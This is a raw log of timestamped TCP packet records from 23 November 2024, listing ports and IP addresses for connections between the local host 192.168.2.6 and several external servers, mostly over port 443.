Nov 23, 2024 05:02:34.928416014 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.928461075 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.928692102 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.928702116 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.928709984 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.928718090 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.931456089 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.931479931 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.931550980 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.931687117 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.931725979 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.994934082 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.994995117 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.995146036 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.995193005 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.995193005 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.995218039 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.995254040 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.997715950 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.997744083 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.997997999 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.998136044 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.998147964 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:35.072314978 CET	443	49775	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:35.072405100 CET	443	49775	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:35.072485924 CET	49775	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:35.085872889 CET	49775	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:35.085913897 CET	443	49775	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:35.085946083 CET	49775	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:35.085964918 CET	443	49775	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:35.088555098 CET	49788	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:35.088583946 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:35.088747025 CET	49788	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:35.089031935 CET	49788	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:35.089051962 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:35.106915951 CET	443	49776	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:35.107101917 CET	443	49776	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:35.107197046 CET	49776	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:35.107253075 CET	49776	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:35.107253075 CET	49776	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:35.107276917 CET	443	49776	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:35.107327938 CET	443	49776	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:35.109736919 CET	49789	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:35.109780073 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:35.109883070 CET	49789	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:35.110044956 CET	49789	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:35.110065937 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:35.712182999 CET	80	49779	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:35.712256908 CET	49779	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:35.797250032 CET	49781	443	192.168.2.6	142.250.181.78
Nov 23, 2024 05:02:35.797425032 CET	49767	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:35.824846029 CET	49779	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:35.944401026 CET	80	49779	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:36.280177116 CET	443	49783	23.218.208.109	192.168.2.6
Nov 23, 2024 05:02:36.280281067 CET	49783	443	192.168.2.6	23.218.208.109
Nov 23, 2024 05:02:36.303858042 CET	49783	443	192.168.2.6	23.218.208.109
Nov 23, 2024 05:02:36.303888083 CET	443	49783	23.218.208.109	192.168.2.6
Nov 23, 2024 05:02:36.304819107 CET	443	49783	23.218.208.109	192.168.2.6
Nov 23, 2024 05:02:36.306324005 CET	49783	443	192.168.2.6	23.218.208.109
Nov 23, 2024 05:02:36.347352982 CET	443	49783	23.218.208.109	192.168.2.6
Nov 23, 2024 05:02:36.626897097 CET	443	49784	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:36.682055950 CET	49784	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:36.710941076 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:36.712865114 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:36.723140001 CET	49784	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:36.723195076 CET	443	49784	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:36.725224018 CET	49784	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:36.725244999 CET	443	49784	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:36.726248980 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:36.726268053 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:36.726811886 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:36.726818085 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:36.728161097 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:36.728185892 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:36.728559971 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:36.728570938 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:36.781793118 CET	80	49779	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:36.781860113 CET	49779	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:36.812277079 CET	443	49783	23.218.208.109	192.168.2.6
Nov 23, 2024 05:02:36.812444925 CET	443	49783	23.218.208.109	192.168.2.6
Nov 23, 2024 05:02:36.812505960 CET	49783	443	192.168.2.6	23.218.208.109
Nov 23, 2024 05:02:36.835500002 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:36.836734056 CET	49788	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:36.836747885 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:36.837198973 CET	49788	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:36.837203979 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:36.837369919 CET	49783	443	192.168.2.6	23.218.208.109
Nov 23, 2024 05:02:36.837369919 CET	49783	443	192.168.2.6	23.218.208.109
Nov 23, 2024 05:02:36.837425947 CET	443	49783	23.218.208.109	192.168.2.6
Nov 23, 2024 05:02:36.837449074 CET	443	49783	23.218.208.109	192.168.2.6
Nov 23, 2024 05:02:36.988060951 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:36.988665104 CET	49789	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:36.988682985 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:36.989124060 CET	49789	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:36.989130974 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:36.993040085 CET	443	49780	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:36.993108034 CET	49780	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:36.996783972 CET	49780	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:36.996790886 CET	443	49780	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:36.997025013 CET	443	49780	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:36.998739958 CET	49780	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:36.998806953 CET	49780	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:36.998812914 CET	443	49780	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:36.998955965 CET	49780	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:37.043342113 CET	443	49780	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:37.086639881 CET	443	49784	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.086807013 CET	443	49784	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.086865902 CET	49784	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.088098049 CET	49784	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.088130951 CET	443	49784	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.088156939 CET	49784	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.088171959 CET	443	49784	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.091169119 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.091198921 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.091447115 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.091617107 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.091628075 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.145838022 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.145903111 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.145970106 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.146651983 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.146676064 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.146687031 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.146693945 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.146858931 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.146903038 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.146966934 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.148664951 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.148691893 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.168140888 CET	49791	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.168189049 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.168281078 CET	49791	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.194313049 CET	49791	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.194340944 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.195267916 CET	49792	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.195353985 CET	443	49792	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.195533991 CET	49792	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.196882963 CET	49792	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.196913004 CET	443	49792	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.271003008 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.271085978 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.271167040 CET	49788	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.271337986 CET	49788	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.271353960 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.271358967 CET	49788	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.271364927 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.273967028 CET	49793	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.274009943 CET	443	49793	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.274074078 CET	49793	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.274508953 CET	49793	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.274524927 CET	443	49793	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.439671040 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.439841032 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.439909935 CET	49789	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.445637941 CET	49789	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.445637941 CET	49789	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.445660114 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.445672989 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.579051971 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.579123974 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.579199076 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.632044077 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:37.632078886 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:37.668795109 CET	443	49780	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:37.668881893 CET	443	49780	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:37.669728041 CET	49780	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:37.669728041 CET	49780	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:37.669753075 CET	443	49780	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:37.669780016 CET	49780	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:38.939174891 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:38.975358009 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:38.980767012 CET	443	49792	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:38.987330914 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.052444935 CET	49791	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.052675962 CET	49792	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.109132051 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.109142065 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.112170935 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.112175941 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.113157988 CET	49791	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.113173962 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.113617897 CET	49791	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.113625050 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.114173889 CET	49792	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.114202023 CET	443	49792	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.114880085 CET	49792	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.114893913 CET	443	49792	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.127082109 CET	443	49793	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.127382040 CET	49793	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.127398968 CET	443	49793	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.127932072 CET	49793	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.127937078 CET	443	49793	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.354036093 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.438972950 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.439050913 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.439194918 CET	49791	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.441447020 CET	443	49792	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.441644907 CET	443	49792	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.441723108 CET	49792	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.449187040 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.450227976 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.450386047 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.452097893 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.581353903 CET	443	49793	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.581435919 CET	443	49793	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.581609964 CET	49793	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.705234051 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.705293894 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.705840111 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.705858946 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.705967903 CET	49793	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.705996037 CET	443	49793	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.706027985 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.706027985 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.706052065 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.706063986 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.706085920 CET	49793	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.706093073 CET	443	49793	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.709496021 CET	49791	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.709517956 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.710756063 CET	49792	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.710797071 CET	443	49792	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.710825920 CET	49792	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.710841894 CET	443	49792	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.820406914 CET	49796	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.820441008 CET	443	49796	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.820552111 CET	49796	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.829477072 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.829519987 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.829593897 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.859318018 CET	49796	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.859330893 CET	443	49796	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.869807005 CET	49800	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.869874954 CET	443	49800	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.870003939 CET	49800	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.871136904 CET	49800	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.871170044 CET	443	49800	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.875269890 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.875288010 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.875297070 CET	49801	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.875336885 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.875540018 CET	49801	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.875662088 CET	49801	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:39.875674009 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:39.921000957 CET	49710	443	192.168.2.6	20.190.181.23
Nov 23, 2024 05:02:39.921106100 CET	49710	443	192.168.2.6	20.190.181.23
Nov 23, 2024 05:02:40.021445990 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:40.021610975 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:40.021683931 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:40.040482044 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:40.040703058 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:40.040715933 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:40.040837049 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:40.040848017 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:40.056885958 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:40.056885958 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:40.056958914 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:40.056989908 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:40.112298012 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:40.112400055 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:40.112459898 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:40.117324114 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:40.117358923 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:40.589992046 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:40.590075016 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:40.590131044 CET	49710	443	192.168.2.6	20.190.181.23
Nov 23, 2024 05:02:40.594167948 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:40.594248056 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:40.594293118 CET	49710	443	192.168.2.6	20.190.181.23
Nov 23, 2024 05:02:40.600634098 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:40.600754976 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:40.600810051 CET	49710	443	192.168.2.6	20.190.181.23
Nov 23, 2024 05:02:40.609049082 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:40.609110117 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:40.609152079 CET	49710	443	192.168.2.6	20.190.181.23
Nov 23, 2024 05:02:40.616132021 CET	49807	443	192.168.2.6	94.245.104.56
Nov 23, 2024 05:02:40.616178036 CET	443	49807	94.245.104.56	192.168.2.6
Nov 23, 2024 05:02:40.616226912 CET	49807	443	192.168.2.6	94.245.104.56
Nov 23, 2024 05:02:40.616543055 CET	49807	443	192.168.2.6	94.245.104.56
Nov 23, 2024 05:02:40.616559029 CET	443	49807	94.245.104.56	192.168.2.6
Nov 23, 2024 05:02:40.617369890 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:40.738158941 CET	49710	443	192.168.2.6	20.190.181.23
Nov 23, 2024 05:02:40.800374985 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:40.923672915 CET	49710	443	192.168.2.6	20.190.181.23
Nov 23, 2024 05:02:41.590101004 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:41.636288881 CET	49801	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:41.640422106 CET	49801	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:41.640444040 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:41.642600060 CET	49801	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:41.642612934 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:41.654300928 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:41.655343056 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:41.655359983 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:41.655860901 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:41.655865908 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:41.713821888 CET	443	49796	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:41.723551035 CET	443	49800	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:41.788177013 CET	80	49779	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:41.788294077 CET	49779	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:41.789479971 CET	49796	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:41.789516926 CET	443	49796	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:41.789943933 CET	49796	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:41.789949894 CET	443	49796	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:41.790234089 CET	49800	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:41.790293932 CET	443	49800	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:41.790637970 CET	49800	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:41.790646076 CET	443	49800	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:41.984071016 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.025224924 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.025299072 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.025348902 CET	49801	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.098769903 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.098833084 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.098903894 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.136137962 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.168699980 CET	443	49796	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.168864965 CET	443	49796	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.168958902 CET	49796	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.178668976 CET	443	49800	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.178740978 CET	443	49800	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.178800106 CET	49800	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.466847897 CET	443	49807	94.245.104.56	192.168.2.6
Nov 23, 2024 05:02:42.478045940 CET	49807	443	192.168.2.6	94.245.104.56
Nov 23, 2024 05:02:42.478058100 CET	443	49807	94.245.104.56	192.168.2.6
Nov 23, 2024 05:02:42.479130983 CET	443	49807	94.245.104.56	192.168.2.6
Nov 23, 2024 05:02:42.479188919 CET	49807	443	192.168.2.6	94.245.104.56
Nov 23, 2024 05:02:42.492129087 CET	49807	443	192.168.2.6	94.245.104.56
Nov 23, 2024 05:02:42.492237091 CET	443	49807	94.245.104.56	192.168.2.6
Nov 23, 2024 05:02:42.492347956 CET	49807	443	192.168.2.6	94.245.104.56
Nov 23, 2024 05:02:42.492362022 CET	443	49807	94.245.104.56	192.168.2.6
Nov 23, 2024 05:02:42.612325907 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.612351894 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.613234997 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.613245964 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.613384008 CET	49796	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.613404989 CET	443	49796	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.613430977 CET	49796	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.613440037 CET	443	49796	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.613565922 CET	49800	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.613565922 CET	49800	443	192.168.2.6	13.107.246.63
